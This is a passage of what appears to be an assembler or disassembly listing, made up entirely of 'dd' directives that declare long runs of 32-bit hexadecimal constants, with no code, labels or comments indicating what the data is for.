10C8725Dh, 4E33B59Dh, 0AB0046F3h, 42E6437Eh, 8F1DBABFh dd 0D512ED77h, 0AB1F65BFh, 25EEBD84h, 0B879F9ADh, 0B95D27A5h dd 8508327Ch, 7E62250Ch, 9252BDD5h, 0BB1EA0D3h, 0D568AC02h dd 7005B82Ah, 0AEBCF9B2h, 0A5A7299Eh, 58694EF4h, 0C080AF7Ah dd 9008EDCDh, 50FE6AC0h, 97850F56h, 5B9FCEF9h, 7119D3E5h dd 805C6CC8h, 0B734361h, 4A90963h, 0B55575DCh, 8016915Fh dd 39382B5h, 594E9Dh, 0C8B0BBDAh, 31164304h, 1B8341BDh dd 443EE061h, 0E3324A3Ah, 0AC7ED50Dh, 8A61055Dh, 0E81248C4h dd 740D87DBh, 547E02A0h, 1B550FC8h, 8062C037h, 82D788CFh dd 5C924EEAh, 89385120h, 0FF850943h, 48E96D22h, 89F2BDFDh dd 540B0DFFh, 600050DAh, 0CDFB40B8h, 2DB70F16h, 3A5B61D2h dd 8115115Fh, 0B58953CAh, 8C34952Ah, 640098EBh, 407B2D38h dd 545CDFh, 0C6AB36A6h, 296CECEFh, 87E6AE12h, 0CC8E07F2h dd 0E86CB997h, 9B800086h, 3BD7AAE6h, 8AB5A85Ah, 985808A9h dd 0D84F9303h, 0C205C1FEh, 8110CF0Eh, 0A7136CC1h, 2D3C297Fh dd 259EA86Ah, 1DEC52B3h, 2751B510h, 313FA8A5h, 0C5BD1917h dd 101657C2h, 29599793h, 96A18DC4h, 57AF3C84h, 0E7B71FC4h dd 2AA0009h, 4DA06374h, 62D2A2h, 1DCFDDCh, 9A618DCBh, 0CC145DCEh dd 0ABAC33F7h, 0EC7EE39Dh, 33CF43BDh, 291A1D84h, 2EB18D01h dd 0F7F81992h, 9CF64A1Dh, 0D7DFDA0h, 48EFA204h, 0C5470BE9h dd 0D9801BB4h, 0F3BEC291h, 0E29A6A25h, 5DB8F52Ah, 24003A58h dd 0FF791EFAh, 4EA8C983h, 8CCB3404h, 5D00F579h, 0DBD52149h dd 0ECD88ACDh, 0F9D11216h, 9D44F45Fh, 0A531FD21h, 0B07078DBh dd 2DCFFED5h, 4242CE56h, 326F645Ch, 0BF6A70ABh, 0F609F40Ch dd 938D3138h, 0FC7C2782h, 0FA92A2FBh, 0A64BCCE7h, 0ABFDA016h dd 18930987h, 375496E6h, 0CF8F0240h, 6FC008Bh, 255752ACh dd 5001C01Dh, 7F8CA6BBh, 0BF4C9644h, 789C2E4Ah, 661B002Dh dd 5D31E8E4h, 910AB59Dh, 17C941Ch, 589156D8h, 0BBE80F9Fh dd 27DA1218h, 1ECE307h, 3DCFF381h, 292E62CAh, 12A00CDh dd 448498Dh, 92958BEFh, 967260CCh, 0B7B392A2h, 0FE129B53h dd 1AB2B0F6h, 4AD9330h, 0EE38CF26h, 0D2D6B99Eh, 0FFA8A5A9h dd 13ACDD00h, 5EE187D9h, 1A9E5B4Dh, 3FDFAC3Fh, 0E367123Eh dd 0D2CA4AEFh, 7A4B6438h, 39C0090h, 0E563A767h, 42B414EBh dd 2812BF75h, 4BC9E34Ch, 63F20204h, 1445C681h, 6CFBC602h dd 6DC45FD2h, 60B03130h, 0B52397D3h, 35A7C047h, 42043954h dd 0E2E3DC2Ah, 4E5500D8h, 3641FD37h, 492200ACh, 0E7B13378h dd 2C7A6962h, 8EE95012h, 0AC5BBEACh, 0DE4FC0C8h, 2734561h dd 99303BE5h, 0A1FBC18Bh, 4FCB1C70h, 93602050h, 0EB1238C2h dd 0C1E3E419h, 501D4949h, 88F01260h, 102C5986h, 0C2C9D1DBh dd 7849537Bh, 6C256613h, 0F0958FCBh, 0E14CE04Ah, 7DE6054Ah dd 3EBBBC00h, 241329FBh, 0C587BD04h, 13BFDBCBh, 0AAB195D2h dd 0D52924C9h, 0D4BF5C00h, 2955A615h, 0D921A503h, 46E03D5h dd 228043F2h, 0B8CDFD06h, 0CA0B006Ch, 0B8BFD24Dh, 5C0179F2h dd 0AF19E381h, 162E7116h, 0E0F6E6F1h, 0E7F0D6h, 0BB60527Bh dd 58EB2B4h, 48C1B8A2h, 0C4800417h, 558C0AF2h, 0B62AC452h dd 4FA0E0A0h, 51912464h, 442516B3h, 9E6A5F79h, 0D48580F0h dd 5E1A13Bh, 7ACF98F0h, 0FC7D95D8h, 49BD1976h, 3B20295Ah dd 7969732h, 4231CD97h, 4F5A1C5h, 8BC2B47h, 0E36AEFB4h dd 60B33F7Bh, 0F250E802h, 1FC32D30h, 0C7082CDAh, 13D59504h dd 9A5234AEh, 0B8D6C019h, 952B7811h, 165A3270h, 7B887BB3h dd 0C56010A4h, 3F68451h, 5A2D11E7h, 292FB6Ah, 9089DC79h dd 3E881951h, 0C21FF32Ah, 5790505Bh, 2C054DB7h, 45DBDDD7h dd 32C11688h, 72B94F9h, 40ADC23Ah, 0F864E2EFh, 4CE97812h dd 4D7638ABh, 73158041h, 0DCAF28EFh, 0A353C715h, 90EBCD1h dd 30D41C87h, 0EA0057F9h, 0A44CADD1h, 294500D7h, 40BBFE75h dd 0C520961Fh, 98F412D4h, 0AC81B95Bh, 60008C1Bh, 0A84B9328h dd 2DED5C26h, 35549D0Bh, 32EA9092h, 0E95D5354h, 8DF1509Ch dd 0E350286Bh, 30C8C900h, 98A4BFECh, 43020153h, 0CC61C74Ah dd 90D9F0EAh, 25DC5C9Ch, 3FECA382h, 53FDFC4Fh, 54E921D2h dd 903630C3h, 83EB1238h, 7ECBD242h, 95BF9881h, 5F772520h dd 0B59F1CEEh, 0FB9006Bh, 27AB5D4Fh, 0BD2370BFh, 35809F9Ah dd 4F8C98AFh, 37FF6A25h, 0FD760051h, 5217714Ah, 108C4000h dd 57D169BBh, 0B1600114h, 0C985011Bh, 37B23A25h, 0EC0EA911h dd 0D82F4BDFh, 558A0C40h, 3319BFE6h, 0B077DD9Dh, 4171E26Ch dd 0D8A13A13h, 904B252Eh, 0E42D46B6h, 9482714Eh, 60FC5ECEh dd 2A11B503h, 4BE4C5D2h, 46578AD0h, 1D519D9Bh, 4D2FA10h dd 1604556Fh, 12916314h, 35F05676h, 0BDDFF4F5h, 0C831197Ah dd 5FFE4053h, 813CD1F1h, 0D489D79Eh, 9C0FEBEEh, 0A15A10BDh dd 7D9E3DF1h, 0C6FD854Eh, 7E56BB02h, 0F8E03D4Fh, 7D254695h dd 69565651h, 23006344h, 26E5C42Dh, 12C66537h, 0F4B85B71h dd 29881124h, 17AD22BDh, 5D714E54h, 0A26B1945h, 96313A3Eh dd 0D2AD2775h, 0A8BC3388h, 0E9715A5h, 70BA361Dh, 6B20F370h dd 916E131Ch, 0B745AD00h, 0DB0370Bh, 0F4CDF5F7h, 0BF780338h dd 3F4029D0h, 0D13AB397h, 6F3E2203h, 667202B7h, 7722B2BBh dd 6404D6Fh, 4E74251Ch, 0C43FAD3Ch, 0C441465h, 85D21809h dd 6C909701h, 2AE7D8B3h, 33A4930h, 0EA4B00E5h, 785661F1h dd 400154B6h dd 389C0A7Eh, 0F87C20B5h, 0B920E08Fh, 0C02BAA19h, 68F3909Dh dd 4EAF02C7h, 0AD3BE069h, 7050C58h, 0D22B5F8Eh, 0CFC4679Bh dd 0ED30EA96h, 4BB9ADCh, 0FF4B98ECh, 156DAFA5h, 62A86D29h dd 0DA5F2C02h, 74087073h, 95B7272Bh, 9D035A02h, 98C7019h dd 2279B531h, 744B9B79h, 4601D47Dh, 60A970BAh, 0D26BB509h dd 6C7561DFh, 8405FA9Ch, 0A69A519Dh, 4731090Dh, 81588979h dd 0D90509F7h, 0B95C57B1h, 0A5D804DCh, 0BC6CBC6Ah, 2E29A2A4h dd 0D4D2B589h, 14AA890h, 4D25EADh, 0BC0231B9h, 0DD85A18Eh dd 0F78000C2h, 0E125FF21h, 0E61E5F9h, 0E9130472h, 2FCDBC49h dd 0B6D9DB25h, 0E73BA4A0h, 87CA4BC7h, 0AFE572Dh, 0C1F402F6h dd 2658D29h, 45DB9CD5h, 79B2AF1h, 0B5189880h, 140B3080h dd 5360AD33h, 5DCB70A1h, 5769CF0Ah, 0F70487A2h, 0C9BC2B63h dd 0B8EBA94Fh, 342939E2h, 43B1A61Fh, 0C781D0DEh, 2C80BBF0h dd 0C6B18A97h, 98F0EDEh, 0F372FD9Dh, 124922CDh, 0A98ED780h dd 8C1BACC6h, 0D76D4D00h, 7CE4EA94h, 0C8E84AFEh, 30007675h dd 0CC0BBE0Ah, 120E3F14h, 0C84D19E2h, 3AF38943h, 5B2D3CA7h dd 946AB8D4h, 22538513h, 82DF2AAAh, 0F42FB7FBh, 0CF1C60A1h dd 974FE1DEh, 900218E3h, 5BB8765Dh, 0F2998F70h, 716654A5h dd 0BC2B696Ah, 0AD630F6Fh, 4DA74876h, 888DB068h, 0FA33B3F6h dd 0F9B87C81h, 9B3E0996h, 69D28248h, 1590F77Ch, 0B00A653h dd 572551D4h, 2990CEh, 264CA7EAh, 0B3D267C8h, 665B9925h dd 0A174A056h, 7B772535h, 0EDA5CD73h, 998B40EFh, 0B7047436h dd 0D6E94F20h, 65AB4995h, 236B8235h, 46DE4F5Eh, 11250119h dd 0A3882343h, 3D00AA63h, 0F0B1329Ah, 0AC4B4E48h, 742E4DCDh dd 0A3FCA648h, 2F30E1B4h, 4DFBE02Ah, 9E891F40h, 7A01DE28h dd 2577BB06h, 0DC2620BAh, 0DAB96001h, 0F808544Fh, 2F13457Bh dd 44AB6172h, 2521BD56h, 0F0B120AEh, 0CD7DF357h, 2D90DD9Dh dd 3DE5820Fh, 992BC016h, 138F96h, 8634D032h, 0B7505FDAh dd 18BA0B7Ch, 644F6DB5h, 345B6017h, 0B34B0023h, 60A06874h dd 6987CC4h, 4F500844h, 4B82F352h, 635F1380h, 0BD7C4ADBh dd 266B87Fh, 0B074D98Eh, 0CD558DAAh, 601B44BCh, 55A3E38h dd 30B5485Dh, 71BF0433h, 6500B03h, 4E311664h, 25682060h dd 0CB7858ADh, 78AEE300h, 162E065Eh, 0B2EAD35Bh, 29BF0910h dd 596ADBC3h, 5EAB1815h, 1B8B092Bh, 82C0E2F6h, 5F85E2h dd 2A268E3Dh, 2C94C1D8h, 0CF6E2917h, 7112BDFCh, 4339ABF8h dd 0A295123Eh, 10138EECh, 23428C5Bh, 0A119D19h, 40161D81h dd 72CF9D95h, 185149h, 5C719589h, 85E15D29h, 0B4E76AE1h dd 0A5B3D6B0h, 0E8AED30Fh, 0B1AFD46Bh, 0B72F04B1h, 9A7DA0B1h dd 90777F2h, 2694BB66h, 53920151h, 918D9E80h, 0E253955Bh dd 401C4DAFh, 0DD8B7E23h, 391B6CC5h, 0B5E54EBFh, 0EDD2EDF7h dd 370262DCh, 9178E0Fh, 0C4B0B971h, 583764DBh, 0EEC08596h dd 8C46B76Ah, 7BB25E00h, 0CE7D447Fh, 0B488097Eh, 38898389h dd 0DFB512D5h, 96E9ED10h, 0D5AC1F07h, 0B840D438h, 17FEC317h dd 0F13148F9h, 0C8C83A3Ah, 55FD3FE3h, 0AC749B92h, 639E4840h dd 1296F9FAh, 0F63D919Dh, 301DB254h, 0D60091ACh, 0D0BBEEBFh dd 2D1C7007h, 0DF5BDC8Ah, 41ABEDA5h, 7F892B7Eh, 292B6EF1h dd 0CBC56EE7h, 81D670AAh, 4112E2D7h, 0BAE351B0h, 0ECBC804Dh dd 0DD6A4662h, 0FC422929h, 2D23BD5Dh, 90AFA35Ch, 1FE79553h dd 0C5FA63C6h, 0EA308B73h, 4DC2AD09h, 73FCEBC2h, 0AB8CFC17h dd 0F85B4E61h, 1286D47Ah, 14F177ADh, 0F56E7Ah, 7ADC938Bh dd 259D29B7h, 59EC1CB9h, 238D4D00h, 883C6772h, 1AF500B2h dd 0DF81C6CBh, 0CC136B08h, 60AB5B6Fh, 0CDDBD97h, 0E472ED95h dd 20C601Ch, 0F8A501F6h, 3D07F3D1h, 90E63B6Ah, 0EF591DF0h dd 80AFF90Bh, 914A226Ah, 0C1705E1Eh, 7D50CABBh, 8C14AC2Ch dd 0EF0FA77Ch, 0F2FCAB74h, 4569F5E0h, 0F0EA266Bh, 47B6CF6h dd 3E72B861h, 6912AFECh, 1994EDBDh, 0C0BD1622h, 952A8921h dd 7008D6Ch, 0B157CEB4h, 25EA3DE3h, 577B61F3h, 986B5AFh dd 8279B218h, 6DB93E44h, 790BF1ECh, 0FD8DF758h, 0F59D0031h dd 25E20614h, 0A8E41B29h, 0C5694922h, 358ED80Eh, 0C6DBAF90h dd 0CA86A4C1h, 0CF8EF8FAh, 56769069h, 3554A539h, 54847125h dd 9D0EE097h, 2A35039Ch, 558509F5h, 3028BA9Ch, 26F31281h dd 2D98F37Bh, 712E9051h, 0CBB20E8Eh, 1B4B2E9Eh, 3600C5E4h dd 25C1EB80h, 4235447h, 70E2AF2Bh, 0A1C8FB61h, 0CA5B4B5Fh dd 0F97521BFh, 58CA1815h, 954B5C03h, 877AEAB5h, 0A673007h dd 0F6E7F0DBh, 374B384Ch, 40C1CFDEh, 2BB6C5A8h, 728969F0h dd 0F3044A85h, 11E9C47Ah, 0EE48535Fh, 3FC7EDB3h, 1BC0AED7h dd 8E945E7h, 0EDB48997h, 0F558C043h, 0D8016E28h, 8B5BAC05h dd 5FE957C1h, 0E1A2352Fh, 407E14Dh, 2DC4E887h, 0C0906105h dd 0B0B8BF4Ah, 3572F22Eh, 0A38BBB07h, 2EC41B15h, 0D02804FBh dd 4FE6AAB6h, 0B05D2BE2h, 0CC91BD41h, 1D116A8Dh, 9D190A43h dd 612BA179h, 0D20CFE1Ah, 0E0905A9Fh, 6C09DFABh, 787EC29Ah dd 83379D6Dh, 0B6EAFE00h, 5F8486D6h, 0D0E489ADh, 8700F4FDh dd 43B88812h, 2C4FF8h, 50D47C1Ah, 70BB9097h, 1C5A0C1Eh dd 0CA3CEA2Ch, 4D81A7DBh, 0CCCA79E3h, 0B662024Ch, 61296046h dd 65072BCFh, 4252EB95h, 3C3631F1h, 0EDFDC6F2h, 6F6CC9D2h dd 8E36A300h, 0BBC12069h, 0EAE11F5Dh, 20E3682Ah, 5F5A1B19h dd 1DAC79ADh, 7607CDACh, 7D653C72h, 0BCE09420h, 25709A22h dd 0D05E616Dh, 0B5015360h, 251A4239h, 0C09D6DD1h, 0BAE51063h dd 0E30F1D04h, 9681F543h, 382F0E39h, 0F5895582h, 80A1DE2Bh dd 567A9539h, 0BFE10703h, 0CF62DAA0h, 12E95BA2h, 297ED120h dd 0FCAC3B18h, 0DA7B2F00h, 0D7D37CA7h, 0CA6EAA04h, 0EAE550D2h dd 2978E41h, 25F5576h, 64E9AC96h, 48A39C57h, 0A94AADA9h dd 1628BC24h, 0B7E2CF3h, 0A4DF8565h, 6EBBF85Eh, 3A8B135Eh dd 1A910304h, 4D079DABh, 6371E4D2h, 0C4614F00h, 1FDF3999h dd 3218047Fh, 0C5A65137h, 0B987AA6Dh, 0C05F8893h, 0BA6DB589h dd 4CC5950Fh, 4A26758h, 0B9138C91h, 5684FAB2h, 0A5C6E8FAh dd 0B293EBBCh, 7D9D80A1h, 13C7076Dh, 618E0FD4h, 2080593h dd 20C5555Bh, 97566050h, 13BC5C10h, 9D54A900h, 0B33A114Ah dd 0E5F800C9h, 0AFA4E4D2h, 6109B145h, 82FF6A96h, 0E42DAD40h dd 1F592E37h, 0D4142B0h, 453F9457h, 0F0D60C0Ah, 0C3652200h dd 0C17A5E04h, 625900A6h, 727DE0DBh, 0A1B3B031h, 97760200h dd 67E14Eh, 5D96E7E5h, 0B1E6402Ch, 15755C73h, 19BF7000h dd 0E4482F59h, 2515B071h, 52790C69h, 2650C691h, 12E40EDh dd 2FE7DDECh, 0BFE0D25h, 0E45C233Dh, 0FC2EE851h, 8A01F9E6h dd 5F030325h, 0A0044228h, 97122D20h, 33D62909h, 0B6D4BF80h dd 628BC82Bh, 204928D1h, 98B86CD5h, 0B9F15205h, 2C598508h dd 5E18B309h, 8ADE864Fh, 0F2BE0EFDh, 550EA109h, 4C14F799h dd 264A584h, 0A0573763h, 0B0900190h, 0D1BD9DBAh, 9A6311Ah dd 15222F79h, 1F8A1B1Bh, 5E91F712h, 0FAA44F8h, 0E6F28B55h dd 0DD416FDh, 8DE8EDE9h, 9FC411Dh, 3DE25B3Eh, 0AF6E5Ah dd 2272F442h, 4B78A99Fh, 0FCE2F093h, 5D253CB6h, 0B02F0435h dd 7B66C6h, 9B1A6583h, 0B941DC90h, 45D0359h, 23A19501h dd 9B9229BCh, 8DA580FEh dd 10A8750Bh, 12821620h, 0FCB2FCFBh, 4E9EBF02h, 0AB570829h dd 97B7D790h, 23F6A880h, 64820F8Dh, 0BCF91B01h, 6EE8F41Eh dd 0D9980520h, 800B15FFh, 589A55F9h, 52456FD6h, 0C10D64AFh dd 24C99D6Ch, 38975B34h, 426BF3C3h, 25F9E3FCh, 0A1C5DB78h dd 0DBEA8934h, 3488C2A6h, 0A5E782FEh, 1765750Dh, 68B52Fh dd 0ABFC9EE9h, 0E8483084h, 328D12A6h, 0BC4ADBE7h, 63B9D26Eh dd 0BB0FE9E8h, 0C4E06C55h, 9BE0C728h, 0E83DBC1Ah, 42A8895h dd 695925h, 0C9B6A744h, 25003485h, 0BF3B9A5Ch, 977C60BDh dd 2545EA14h, 0FD9887FEh, 0E2611278h, 96DA8ECFh, 22E8A1B9h dd 0EC076C1Fh, 43048892h, 600B19E5h, 56704BD3h, 0A6BD4C5Ch dd 31BB5903h, 0B88C4EB3h, 936E5BD3h, 0D215A805h, 0B785FAB4h dd 5C1ECE0Bh, 3564AD97h, 7D87E500h, 2C7A55Fh, 0A1620B2Fh dd 2F51048Ah, 3C87401Eh, 54303375h, 1241D346h, 0E4E717ACh dd 758A22D0h, 0FA25CB90h, 0F518353Ch, 5B190858h, 975F6EF4h dd 1491E035h, 0AB70D189h, 0D88BFB9Fh, 0FA098C22h, 9F0A6B6h dd 52005C74h, 4F481877h, 0F5440037h, 2A17197Ch, 0A713485Fh dd 5E81407Ah, 8F28B727h, 5E91C382h, 0FD6F22FDh, 0AA680003h dd 554A8A94h, 974502C7h, 6EAA6AC4h, 76290909h, 8BAC51ECh dd 40F6BD03h, 64796DA5h, 0E9FA6014h, 0DE015FCBh, 322580A2h dd 1CA415E2h, 277C867Eh, 8DA01779h, 0F42FF12Eh, 57161D42h dd 159116B7h, 5E9DAC86h, 0A21FA927h, 55208D47h, 8412F965h dd 3325D9F6h, 0D7A6F773h, 0ADE3D912h, 919B893Fh, 0BD100D1Bh dd 80090E51h, 0D85C31DBh, 21846D6h, 6E6C5B85h, 25885C74h dd 90DC4276h, 0D5A5004Ah, 529C8447h, 0C29F5C67h, 64C6D747h dd 2244CEBDh, 6B0F0AE9h, 0E7E77466h, 8B536AADh, 0FC265A23h dd 3CD24BDCh, 0B1695757h, 80C72896h, 8C9F1F3Fh, 0AEC20021h dd 2AD2FB09h, 0FE16E5CCh, 43B94EABh, 0B188089h, 0D41F185h dd 0E19D8DD8h, 54B16800h, 90E8C425h, 63C531h, 71D07543h dd 52EA32BDh, 61003570h, 0AF766A57h, 9D729E47h, 834E4907h dd 6212175Ah, 0CCB90799h, 268C15BCh, 1DFF531Bh, 905E60ADh dd 605726C1h, 0C0D40C31h, 185B6161h, 6B1AA19Dh, 6A4B608Bh dd 37B50960h, 70AFD361h, 830D3B8Eh, 9145B509h, 0BF8C382Bh dd 811C9C00h, 0F568E9DFh, 87CD957Fh, 0DEA226h, 0D2991FE9h dd 0B50118B0h, 0F1CCD155h, 5129A727h, 0DF8500E9h, 1CD89F0Bh dd 0B88E374Bh, 8D1031B8h, 9A562C91h, 0D0C3C14Eh, 0BD282ED9h dd 15BB8679h, 0CEC3F552h, 7E30612Dh, 33550B18h, 4370865Ch dd 7DFC8104h, 0F9BF84E3h, 0C87E9AEAh, 4A02C614h, 92A9FB4Ah dd 25DD8582h, 0D8BFB0F5h, 469A0469h, 0B86FF5C9h, 8060C183h dd 3231BED1h, 0E22A61F1h, 9D1F00AEh, 56116E93h, 0F0100068h dd 4BDBBD1h, 5B131220h, 12A28583h, 0CE32F51Eh, 0F240A645h dd 0C3BF6198h, 8DC2E61Eh, 63245E26h, 4D65509Dh, 4E79C241h dd 42A6AC9h, 80F8E610h, 0F4D5DDBBh, 6FB4A23Bh, 0AAD5E6CCh dd 909DFE4Bh, 0A0E2E63Eh, 25C5E3B9h, 9D4851Fh, 975E2B40h dd 18F80466h, 0CC338215h, 8F039CB8h, 7A0DC539h, 3C8BB09Eh dd 56A5004Ch, 147601A4h, 0FA4A17A9h, 0F6A558B8h, 0B7A2A77Ah dd 5C70E070h, 0C1554B74h, 2A07EA39h, 0CA2A4CB1h, 6A56A0BFh dd 7A76120Fh, 7FF5E1A9h, 8E00F17Bh, 3AFCFF4Ch, 0A9135BF0h dd 8EFDB2CCh, 160C39C4h, 0D05059F3h, 0A91A5ADDh, 2FE080E8h dd 0E8B1EBD0h, 4CCE005Bh, 0D6FC4BFh, 0BD3CAF8Ch, 0CEF53E10h dd 0D7806330h, 0FC099708h, 0AD70785Bh, 19E7617h, 3EF27B47h dd 2EF88A6Ch, 0B5E6F117h, 0EDDF97E0h, 60D2EEBh, 9DD9AB65h dd 612DF769h, 0E4005344h, 6396C5C8h, 165CCF0Ah, 0BDD6A7A4h dd 31F6D282h, 0A8B2BFA4h, 5026B892h, 0B597F826h, 801D9115h dd 0D91B47A2h, 0C77D063Fh, 4A1C15EAh, 0D1820F2Fh, 0D9758984h dd 0F38001B0h, 0A3562A5Eh, 12F7ABBh, 1E4990AEh, 4231818Eh dd 886B04D9h, 6B98F9BFh, 2A29BB80h, 79927B9Dh, 69181Dh dd 4BA61383h, 0C6E14BDh, 0E0BF3402h, 61582C4Ch, 0B66AD8FCh dd 0E59D128Dh, 0D4AC84C4h, 292042A2h, 0A0225995h, 2F69BB5Eh dd 2795075h, 0DD5480BCh, 353130A3h, 916802ADh, 96700A7Ah dd 17F137F5h, 0EE6B0ECh, 68645BB5h, 63BF400Ch, 334A5887h dd 608D1BF7h, 0D79B6A66h, 68FE3C0h, 0B604BD0Dh, 58CEAF47h dd 0BFC062B8h, 13D9980Ch, 0F8579CA2h, 0C8C65DB7h, 5F0473ECh dd 0FA7FB11Bh, 4A014DC3h, 0B217E7FDh, 69A2301Bh, 80946C39h dd 60A747FEh, 4CE580F8h, 0F6250529h, 0F4B755C2h, 3DA8F80h dd 1AB8D45h, 0C47B21B7h, 79950156h, 5E5F2DC7h, 8B04603Dh dd 5C008E13h, 19763CB5h, 9F415F39h, 316B8FDAh, 7F355537h dd 85E0B5A6h, 909C601Dh, 748BF0D4h, 4A379DDAh, 57D3FC01h dd 86BF79Ch, 858B06D1h, 6A2F247Dh, 0E065A6BFh, 2FD8AC74h dd 13F0BDA3h, 0BD083520h, 76F60F83h, 0FC89582Dh, 58D487Ch dd 0AD229FEAh, 17CBCA0h, 31A27483h, 2F21D59Dh, 811C9FFDh dd 0B62EC2C7h, 2D719079h, 0DC130100h, 1DE566FAh, 0C0E635B0h dd 8469CA5Fh, 0F8CBE7CEh, 30BC9806h, 342802ABh, 905BDE8Bh dd 0C57039D3h, 0AD8F5A0Fh, 0FE6A89BFh, 22D4CB46h, 96C32E14h dd 78CEF5E8h, 2164DF40h, 0C001EFEAh, 0CD7F3A15h, 0FE8F666h dd 4476BC8Dh, 0E6BAF5Fh, 41001C23h, 0D2DB6409h, 0CBF0134Ah dd 60A230E4h, 0F9B7E5A8h, 0BD66070h, 2AE11D9Dh, 0C78055E2h dd 23F7C129h, 56D1FF27h, 0F3271058h, 0F3098745h, 0B7897B96h dd 0E33A85A9h, 8E1331C1h, 0BC029AE4h, 0BB8227EDh, 929F3BFh dd 0DB19DD24h, 9AB6661h, 5C96E9FCh, 9FF470A7h, 0B2AF881h dd 16551CE2h, 633597F7h, 5D94BD09h, 0F7817F60h, 0AEC5F809h dd 0D2D60B03h, 3D419770h, 39CC8390h, 88BF500Fh, 0F705DB73h dd 6E005633h, 0A94B5258h, 0E007E5Ch, 709BBAF3h, 97870FC0h dd 81CB53AEh, 77B772E8h, 77403297h, 8FAFC310h, 1EC01200h dd 86EC89E7h, 0B81F0042h, 0C1F0A010h, 144A257Ch, 85295330h dd 5FC2A905h, 9362B23Ah, 51A825F9h, 0FCFB8301h, 66C48616h dd 0D661B23Ah, 86004B6Bh, 19D812B7h, 0EB12A5BBh, 0BA365F4h dd 5BFC5302h, 0B77DFF6Ah, 2B800919h, 51D5325Fh, 37F6009Dh dd 0EC3325B5h, 0AE0B7019h, 0E721FED6h, 0B51475F0h, 0C800FB3Dh dd 1A8B7ECh, 0C7125BDh, 201188C5h, 7658055Fh, 0C612AEC5h dd 0C83552ABh, 0CB00B985h, 4F84989Fh, 2453BF8h, 20D75935h dd 6C5C902Fh, 0A50C4BEh, 2965B509h, 755AA5FEh, 91908D4Ch dd 14E95B2Dh, 7C5C65B2h, 0B0095F49h, 50C10649h, 6D96B721h dd 7FE8B200h, 2A939ABh, 3CF70B31h, 0D15C87B8h, 0BC36BF82h dd 0BC8924F9h, 0C82B87E3h, 77827EFFh, 0FED18B69h, 8D809FFh dd 29F9EF02h, 0ADBCD955h, 0B72ECBF8h, 762FADFEh, 7BBD47C1h dd 6F074719h, 0A879FFE6h, 648BEFB5h, 0A1655A72h, 9CDC2A74h dd 898D1109h, 3D4D2208h, 7A19D29h, 290E6108h, 0AC9C80D2h dd 0A1322A20h, 0E7A33A01h, 6D25F34h, 62D0B33Eh, 0F0CCD7Ah dd 21A0E2F2h, 0E618819h, 0EBB047A8h, 0C2097383h, 73D0CADBh dd 1769089Eh, 0D4795649h, 540A260Fh, 0D76AC964h, 5F8371B7h dd 0B0BB75D4h, 257BC22h, 72ECDF81h, 27D41E9h, 5C2EF4CEh dd 81F5649Eh, 1CDD04h, 9C07DCB9h, 97189BCh, 0F91C8171h dd 4A1AC8BDh, 0F165EA7h dd 14923786h, 2D148C61h, 946B630Fh, 1BD769Eh, 96C40AFCh dd 0B3120359h, 6331D66Dh, 0F53A97D4h, 61212F6Bh, 0D1F0BF95h dd 148100B0h, 0B1CC1692h, 5F001D4Ah, 5BA7CA85h, 0A20D8A0Fh dd 63535469h, 0A4B9B0B9h, 0ACE12A58h, 0B0BBF72Fh, 5EFE1295h dd 29D808BAh, 0DE7CD220h, 59C17395h, 274181Ah, 665657BDh dd 29D82309h, 4327EEBh, 5C602012h, 130E4A87h, 24AA7B5Fh dd 99BFA3C3h, 0EE522B15h, 1FCC7AEBh, 8D8308C7h, 0A0AC97F4h dd 902BD02Ch, 0B8314A28h, 6A2EEDE0h, 0C0650F8Dh, 0C9EAD2EBh dd 7D6F3E4Ah, 0E5523A02h, 585D61E4h, 45EA90A6h, 0D70D2005h dd 0E5510925h, 50711165h, 27F91127h, 0F5C44BA2h, 66BFDDAAh dd 6E65B09Fh, 0A6180953h, 93D95172h, 82A72000h, 65871Dh dd 0DCAAFD16h, 5F9AC863h, 0B0ABF800h, 0F9075EDBh, 70989F5Bh dd 680064C8h, 0B20230FEh, 0CA3677h, 339D7F8Ah, 0C11113C4h dd 0FDE1FF26h, 790D7509h, 5370C44Eh, 0D25C34AAh, 67F52C90h dd 0E7721787h, 7612B0A4h, 46600467h, 0AB5107D7h, 572B1CC2h dd 4F4379Ch, 47CCCFBDh, 0FAB0E0E8h, 3973DB80h, 8398EFF2h dd 19BF90BFh, 9F110029h, 42D3994Eh, 60B5ABAAh, 8114FDCAh dd 7F022E5Fh, 5E611A37h, 0DE92245Eh, 54C4184Bh, 38E305E6h dd 690E54D8h, 4D13A007h, 85227D01h, 2CB1572Dh, 99BDF62Fh dd 4B2B1F87h, 6995560Bh, 474025FEh, 3C7A5F0Ch, 30BB8BC8h dd 7E9E25Bh, 0E6D1555Eh, 76B79AB0h, 53154E32h, 2F5949BFh dd 0D84B9679h, 0F7204A25h, 4F293B2Bh, 5E50BA92h, 48404060h dd 7700B9BEh, 0EAA558E7h, 0F5E098Bh, 86C438E5h, 0EA0A6E04h dd 6AD83791h, 16746F7Eh, 0F3BC9BC6h, 4A5F8AA2h, 0B646F5DAh dd 0AE57522Ch, 0D41D582Dh, 0DEC03219h, 42CBE61Ah, 85DFF23Bh dd 60B47B31h, 7A88CDAAh, 7239B6A1h, 3306D0B8h, 7478B4A9h dd 0C51A959Ah, 0B340A27Eh, 0E43609h, 0A2F3F6F8h, 7FE2ECA5h dd 0F84FE525h, 5FDA25D4h, 0E594B2E6h, 4B6B5627h, 0C4B3170h dd 6A4A69CBh, 63D90400h, 5FBC6177h, 4A53E6D2h, 5584F4F9h dd 8C8BAB09h, 136B6A5Fh, 0EBA2B778h, 297B835Ah, 0F4E1D2E9h dd 12BF5FA8h, 3B978D8h, 82A1EA9Bh, 0C1A93B47h, 3D692036h dd 9F891444h, 198475B7h, 31EEE8EBh, 6ED88AE9h, 1AC8B5DAh dd 0A5AE26C0h, 0BD941460h, 0A55AEB37h, 3E107844h, 75E92C29h dd 42A654AFh, 50240E8Dh, 0C4FE6A84h, 50A5B99Fh, 60FCF87Ch dd 66D98A07h, 0D62933B8h, 857B2D85h, 27757F0h, 0D05368C5h dd 0B5E06CA8h, 819D01C1h, 0B7D3AC2Ah, 9F858DECh, 4CC043EFh dd 57D9B0Dh, 3CDCA8Bh, 0F271FEA6h, 4040469h, 157DF0h, 79A5BF50h dd 2D624D39h, 80F7DB5Ah, 97738FF6h, 95B79225h, 28283CF3h dd 0A5DD194Bh, 0F7E2823Ah, 616727DCh, 705FDB19h, 0B01F00Ah dd 0A192C12Eh, 8A708E9Ah, 3F7D12F7h, 0C499F26Fh, 0A5AB8960h dd 0DFC738C2h, 9EAA8875h, 0A8085D55h, 0CD922E75h, 42453F73h dd 0C882DA58h, 0E75525D9h, 10957415h, 